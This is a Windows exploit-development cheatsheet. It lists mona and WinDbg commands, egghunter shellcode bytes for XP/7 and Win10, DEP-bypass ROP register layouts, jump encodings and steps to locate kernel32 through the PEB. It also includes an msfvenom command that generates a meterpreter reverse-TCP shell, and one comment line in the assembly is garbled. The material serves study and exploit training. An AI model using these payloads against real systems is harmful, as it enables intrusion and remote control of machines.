Intro

A Windows oriented exploit development cheatsheet

Mona

Pattern Create
!mona pc <crash buffer length>
Find injected pattern into executable memory structures
mona will usually find an offset to nSEH, so we should add 4 to that value
!mona -findmsp
Find JMP to ESP instruction (can be any JMP-to-Reg)
!mona jmp -r ESP
Generate a bytearray to be used during bad characters discovery
!mona bytearray
Compare previously generate byterray against address under our control
!mona compare -f [full_path_to_bytearray.txt] -a 0x[address_under_control]
Find POP/POP/RET gadgets to override SEH
!mona seh
Find ROP gadgets, suggestions and chains, while excluding bad chars
!mona rop cpb "\x00\x0a"
Find a string in any memory location
!mona find -type asc -s "w00t"

WinDbg

local/remote kernel debugging
setx _NT_SYMBOL_PATH srv*c:\symbols*HTTP://MSDL.MICROSOFT.COM/DOWNLOAD/SYMBOLS
on the debuggee machine:
bcdedit /debug on
bcdedit /dbgsettings local
OR if remote
bcdedit /dbgsettings NET HOSTIP:[DEBUGGER_IP] port:50000 key:1.1.1.1
OR bootloader/bootmanager debugging (only COM debugging works - no NET)
bcdedit /bootdebug {bootmgr} on
bcdedit /set bootdebug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
set dynamic symbols fetching
[win 7 and above]
srv*c:\symbols*https://msdl.microsoft.com/download/symbols
[win XP]
srv*c:\mss*http://msdl.microsoft.com/download/symbols
attach/open process/file [invasive]
cdb.exe -p ProcessID
cdb.exe -pn FilenName.exe
attach/open process/file [non-invasive]
cdb.exe -pv -p ProcessID
cdb.exe -pv -pn FilenName.exe
break points
bl - list all break points
bc [bpID] - delete specific bp
bp [functionName] - sets bp at functionName
bp - [sets bp at current IP location]
execution controls
g - go until next bp
t - trace/execute til next instruction {step into a function}
p - step/execute next instruction {step over a function}
gu - go up until current function returns
q - quit
[useful commands]
x [module]![symbol] - Report the address of the specified symbols
x *! - List all modules currently loaded
x module!* - List all symbols and their addresses in the specified module
x module!symbol* - List all of the symbols that match the “arg” wild-card filter
lm - list all loaded modules (more detailed than x *!)
!lmi [module] - list module info
dt [symbol name] - display type of a symbol
u - disassemble 8 instructions from current address
u [address] - disassemble 8 from specified address
u [start - end]
uf routineName - diass specified route
dd addressRange - display address range
.formats [hex value] - display hex translation
r - display registers
KD specific
lm n - list loaded modules
!process 0 0 - list all processes
!process [Cid] 15 - get process details
.process /r /p [Cid] - switch to process context
peek into PEB
.process [base address]
!peb
registers command
0rM [0-255] - dump register details with 8-bit mask
quit kd
bc *
g
<ctrl b> <enter>

Egghunters

WinXP/7 (32-bit)

"\x66\x81\xCA\xFF\x0F"  #or dx,0x0fff   
"\x42"                  #inc edx                        
"\x52"                  #push edx                          
"\x6A\x43"              #push byte +0x2                    
"\x58"                  #pop eax                      
"\xCD\x2E"              #int 0x2e       
"\x3C\x05"              #cmp al,0x5                             
"\x5A"                  #pop edx        
"\x74\xEF"              #je xxxx        
"\xB8\x77\x30\x30\x74"  #mov eax,0x77303074
"\x8B\xFA"              #mov edi,edx   
"\xAF"                  #scasd         
"\x75\xEA"              #jnz xxxxxx    
"\xAF"                  #scasd         
"\x75\xE7"              #jnz xxxxx                  
"\xFF\xE7"              #jmp edi

Win10 (32bit/WOW64)

"\x33\xD2"              #XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F"  #OR DX,0FFF
"\x33\xDB"              #XOR EBX,EBX
"\x42"                  #INC EDX
"\x52"                  #PUSH EDX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x6A\x29"              #PUSH 29  (system call 0x29)
"\x58"                  #POP EAX
"\xB3\xC0"              #MOV BL,0C0
"\x64\xFF\x13"          #CALL DWORD PTR FS:[EBX] (perform the system call)
"\x83\xC4\x10"          #ADD ESP,0x10
"\x5A"                  #POP EDX
"\x3C\x05"              #CMP AL,5
"\x74\xE3"              #JE SHORT
"\xB8\x77\x30\x30\x74"  #MOV EAX,74303077
"\x8B\xFA"              #MOV EDI,EDX
"\xAF"                  #SCAS DWORD PTR ES:[EDI]
"\x75\xDE"              #JNZ SHORT
"\xAF"                  #SCAS DWORD PTR ES:[EDI]
"\x75\xDB"              #JNZ SHORT
"\xFF\xE7"              #JMP EDI

DEP

Configuration

WinXP/2k3

/noexecute=policy [boot.ini]

Win Vista and above

bcdedit /enum all
bcdedit /set nx [one of the following options]

OptIn    : Enables DEP only for operating system components, including the Windows kernel and drivers. Administrators can enable DEP on selected executable files by using the Application Compatibility Toolkit (ACT).
OptOut   : Enables DEP for the operating system and all processes, including the Windows kernel and drivers. However, administrators can disable DEP on selected executable files by using System in Control Panel.<br>
AlwaysOn : Enables DEP for the operating system and all processes, including the Windows kernel and drivers. All attempts to disable DEP are ignored.
AlwaysOff: Disables DEP. Attempts to enable DEP selectively are ignored<br>

DEP-defeating APIs

API	Supported OS
NtSetInformationProcess	XP/2003 server
SetProcessDEPPolicy	XP/Vista SP1/2008 server
Virtual Protect	all Win versions
Virtual Alloc	all Win versions
WriteProcessMemory	all Win versions
LoadLibrary	all Win versions
MapViewOfFile	all Win versions

Register Layout

Virtual Protect

Register setup:                                Example:
--------------------------------------------   --------------------------------------------
 EAX = NOP (0x90909090)                        EAX = 90909090
 ECX = lpOldProtect (ptr to W address)         ECX = 66DB8EEF (ptr to Writable location )
 EDX = NewProtect (0x40)                       EDX = 00000040 (PAGE_EXECUTE_READWRITE)
 EBX = dwSize                                  EBX = 00000216 (Any value around 0x300 is ok)
 ESP = lPAddress (automatic)                   ESP = 0019F20C (automatic - residing on the stack)                                
 EBP = ReturnTo (ptr to jmp esp)               EBP = 6AB01C06 (ptr to jmp esp)
 ESI = ptr to VirtualProtect()                 ESI = 772C7C70 (ptr to VirtualProtect() after dereferencing)
 EDI = ROP NOP (RETN)                          EDI = 6AB16202 (RETN aka ROP NOP)
 --- alternative chain ---
 EAX = ptr to &VirtualProtect()
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp",below PUSHAD
--------------------------------------------

SetInformationProcess

Register setup:                            
 --------------------------------------------
  EAX = SizeOf(ExecuteFlags) (0x4)
  ECX = &ExecuteFlags (ptr to 0x00000002)
  EDX = ProcessExecuteFlags (0x22)
  EBX = NtCurrentProcess (0xffffffff)
  ESP = ReturnTo (automatic)
  EBP = ptr to NtSetInformationProcess()
  ESI = <not used>
  EDI = ROP NOP (4 byte stackpivot)
 --------------------------------------------

SetProcessDEPPolicy

Register setup:       
 --------------------------------------------
  EAX = <not used>
  ECX = <not used>
  EDX = <not used>
  EBX = dwFlags (ptr to 0x00000000)
  ESP = ReturnTo (automatic)
  EBP = ptr to SetProcessDEPPolicy()
  ESI = <not used>
  EDI = ROP NOP (4 byte stackpivot)
 --------------------------------------------

VirtualAlloc

Register setup:
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = flProtect (0x40)
 EDX = flAllocationType (0x1000)
 EBX = dwSize
 ESP = lpAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualAlloc()
 EDI = ROP NOP (RETN)
 --- alternative chain ---
 EAX = ptr to &VirtualAlloc()
 ECX = flProtect (0x40)
 EDX = flAllocationType (0x1000)
 EBX = dwSize
 ESP = lpAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------

Fixing a ROP chain manually

Simplify the chain grouping it by register/operation, for example start with this template

[Virtual Protect structure example]

      # EDX
      [GADGETS]
      # ESI
      [GADGETS]
      # EBX
      [GADGETS]
      # EBP
      [GADGETS]
      # EDI
      [GADGETS]
      # EAX
      [GADGETS]
      0x66db8eef,  # &Writable location
      # PUSHAD
      [GADGETS]

Use EAX as a skatch-pad register and leave it as a last register, before PUSHAD instruction.
Start first with gadgets that are polluting other registers.
Inspect rop.txt and rop_suggestions.txt for other gadgets with uncommon instructions (possibly affecting only EAX)

Shellcode

JUMPS and CALLS

JUMPS

JMP Type	Example	Machine Encoding
Short	JMP SHORT mylabel	0xEB [signed byte]
Near direct	JMP NEAR PTR mylabel	0xE9 [low byte] [high byte]
Near indirect	JMP EBX	0xFF 0xE3
Far direct	JMP DS:[mylabel]	0xEA [IP low] [IP high] [CS low] [CS high]
Far indirect	JMP DWORD PTR[EBX]	0xFF 0x2F

CALLS

JMP Type	Example	Machine Encoding
Near direct	CALL mylabel	0xE8 [low byte] [high byte]
Near indirect	CALL EBX	0xFF 0xD3
Far direct	CALL DS:[mylabel]	0x9A [IP low] [IP high] [CS low] [CS high]
Far indirect	CALL DWORD PTR [EBX]	0xFF 0x1F
Near return	RET	0xC3
Far return	RETF	0XCB

Examples

Jump short  '\xEB\x06'             JMP 8 bytes ahead  (including start of instruction)
Jump near   '\xE9\xa3\xfd\xff\xff' JMP 600 bytes back (including start of instruction)

Find Kernel32.dll with WinDBG

Tested on latest Win10 Version 10.0.18362.113

Find offset 0x03 from FS register [Pointer to PEB]
```
0:000> dp fs:[30]  L1
0053:00000030  02e68000
```

Get the pointer to PEB_LDR_DATA

02e680000:000> dt nt!_PEB Ldr Ldr. 02e68000
ntdll!_PEB
+0x00c Ldr  : 0x776ddca0 _PEB_LDR_DATAC
  +0x000 Length : 0x30
  +0x004 Initialized : 0x1 ''
  +0x008 SsHandle : (null)
  +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x7ae6f58 - 0x838cf58 ]
  +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x7ae6f60 - 0x838cf60 ]
  +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x7ae2f68 - 0x7b3ef68 ]
  +0x024 EntryInProgress : (null)
  +0x028 ShutdownInProgress : 0 ''
  +0x02c ShutdownThreadId : (null)

Get pointer to first entry in InMemoryOrderModuleList

0:000> !list -t ntdll!_LIST_ENTRY.Flink -x "dd" -a "L1" 0x7ae6f60
07ae6f60  07ae2f60 # ntdll.dll
07ae2f60  07aeef60 # verifier.dll
07aeef60  07afaf60 # kernel32.dll
07afaf60  07b06f60 # kernelbase.dll

Subtract the 8-byte linked-list data structure header.
```
07afaf60 -0x8 = 7afaf58
```

Get the base address from the third entry (it would normally be the 2nd entry!)

0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY 7afaf58
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7b06f58 - 0x7aeef58 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x7b06f60 - 0x7aeef60 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x7b3ef68 - 0x7b06f68 ]
+0x018 DllBase          : 0x772b0000 Void
+0x01c EntryPoint       : 0x772c5f70 Void
+0x020 SizeOfImage      : 0xe0000
+0x024 FullDllName      : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"
+0x02c BaseDllName      : _UNICODE_STRING "KERNEL32.DLL"

Double check dll base address with one-liner

0:00> !peb
  Base TimeStamp                     Module
      380000 C:\Program Files (x86)\Internet Explorer\iexplore.exe
    775c0000 C:\Windows\SYSTEM32\ntdll.dll
    6a8f0000 C:\Windows\SysWOW64\verifier.dll
    772b0000 12f36500 Jan 28 12:56:32 1980 C:\Windows\System32\KERNEL32.DLL

The full shellcode

mov ebx, fs:0x30       ; Get pointer to PEB
mov ebx, [ebx + 0x0C]  ; Get pointer to PEB_LDR_DATA
mov ebx, [ebx + 0x14]  ; Get pointer to first entry in InMemoryOrderM## MSFvenomoduleList
mov ebx, [ebx]         ; Get pointer to second (ntdll.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx]         ; Get pointer to second (verifier.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx]         ; Get pointer to third (kernel32.dll) entry in InMemoryOrderModuleList
mov ebx, [ebx + 0x10]  ; Get kernel32.dll base address

MSFvenom

Generate python shellcode (i.e. bindhsell) to fit into the exploit

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Heap

WinDBG command reference

!heap -stat                            # stats about process heaps usage
!heap -h <heap_addaress>               # heap + segments info
dt _HEAP <heap_address>                # show heap_base data structure
dt _HEAP_SEGMENT <segment_address>     # segment header
!heap -p -a <memory_address>           # show heap chunk info [user ptr]
!heap -stat -h <heap_address>          # show allocation size breakdown
!heap -flt s <size>                    # show heap allocations of given size
!heap -a -h <heap_address>             # show free list + all chunks
!heap -f <heap_address>                # show free list

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